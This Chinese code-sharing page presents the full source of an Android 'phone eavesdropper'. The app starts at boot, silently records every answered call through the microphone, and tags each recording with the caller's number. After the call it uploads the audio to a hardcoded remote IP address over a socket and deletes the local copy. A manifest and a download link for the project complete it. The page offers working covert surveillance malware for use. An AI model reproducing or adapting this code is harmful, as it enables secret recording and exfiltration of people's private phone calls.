当前位置: 代码迷 >> Android >> Android电话窃听器的兑现
  详细解决方案

Android电话窃听器的兑现

热度:55   发布时间:2016-05-01 11:37:18.0
Android电话窃听器的实现

PhoneListenService.java

package cn.itcast.phone;import java.io.File;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.Socket;import cn.itcast.utils.StreamTool;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneListenService extends Service {	private static final String TAG = "PhoneListenService";	@Override	public void onCreate() {		TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);		telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);		Log.i(TAG, "service created");		super.onCreate();	}		@Override	public void onDestroy() {//清空缓存目录下的所有文件		File[] files = getCacheDir().listFiles();		if(files!=null){			for(File f: files){				f.delete();			}		}		Log.i(TAG, "service destroy");		super.onDestroy();	}	private class TelListener extends PhoneStateListener{		private MediaRecorder recorder;		private String mobile;		private File audioFile;		private boolean record;		@Override		public void onCallStateChanged(int state, String incomingNumber) {			try {				switch (state){				case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */					if(record){						recorder.stop();//停止刻录						recorder.release();						record = false;						new Thread(new UploadTask()).start();						Log.i(TAG, "start upload file");					}					break;									case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */					 Log.i(TAG, "OFFHOOK:"+ mobile);					 recorder = new MediaRecorder();					 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音					 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式					 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式					 					 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");					 recorder.setOutputFile(audioFile.getAbsolutePath());					 recorder.prepare();//预期准备					 recorder.start();   //开始刻录					 record = true;					 break;										case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */					Log.i(TAG, "incomingNumber:"+ incomingNumber);					mobile = incomingNumber;					break;									default:					break;				}			} catch (Exception e) {				Log.e(TAG, e.toString());			}			super.onCallStateChanged(state, incomingNumber);		}				private final class UploadTask implements Runnable{			@Override			public void run() {				try {					Socket socket = new Socket("220.113.15.71", 7878);		            OutputStream outStream = socket.getOutputStream();		            String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";		            outStream.write(head.getBytes());		            		            PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());						String response = StreamTool.readLine(inStream);		            String[] items = response.split(";");					String position = items[1].substring(items[1].indexOf("=")+1);										RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");					fileOutStream.seek(Integer.valueOf(position));					byte[] buffer = new byte[1024];					int len = -1;					while( (len = fileOutStream.read(buffer)) != -1){						outStream.write(buffer, 0, len);					}					fileOutStream.close();					outStream.close();		            inStream.close();		            socket.close();		            audioFile.delete();		        } catch (Exception e) {                    		        	Log.e(TAG, e.toString());		        }			}		}	}		@Override	public IBinder onBind(Intent intent) {		// TODO Auto-generated method stub		return null;	}}


BootBroadcastReceiver.java

package cn.itcast.phone;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {	@Override	public void onReceive(Context context, Intent intent) {		Intent service = new Intent(context, PhoneListenService.class);		context.startService(service);	}}


AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"      package="cn.itcast.phone"      android:versionCode="1"      android:versionName="1.0">    <application android:icon="@drawable/icon" android:label="@string/app_name">		<service android:name=".PhoneListenService" />		<receiver android:name=".BootBroadcastReceiver">			<intent-filter>	         <action android:name="android.intent.action.BOOT_COMPLETED"/>	       </intent-filter>		</receiver>    </application>    <uses-sdk android:minSdkVersion="7" />	<uses-permission android:name="android.permission.RECORD_AUDIO"/><!-- 访问网络的权限 --><uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/></manifest> 

项目源码下载:http://pan.baidu.com/share/link?shareid=272323&uk=1796216265
 

  相关解决方案